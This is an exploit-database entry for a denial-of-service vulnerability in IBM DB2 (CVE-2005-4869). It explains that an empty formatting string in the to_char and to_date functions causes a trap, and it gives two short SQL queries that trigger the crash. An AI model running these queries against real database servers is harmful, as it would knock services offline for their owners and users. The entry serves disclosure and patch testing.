IBM DB2 DTS To String Conversion - Denial of Service

Author: Chris Anley
type: dos
platform: linux
port: 
date_added: 2004-09-01  
date_updated: 2013-03-10  
verified: 1  
codes: CVE-2005-4869;OSVDB-11400  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 24677.txt  

source: https://www.securityfocus.com/bid/11400/info

IBM DB2 is reported prone to a denial of service vulnerability when DTS to string conversion is carried out.

It is reported that during a DTS to string conversion a trap occurs if an empty formatting string is provided. The vulnerability is exposed in the 'to_char' and 'to_date' conversion functions.

select to_char('aaa','') from sysibm.sysdummy1
select to_date('aaa', '') from sysibm.sysdummy1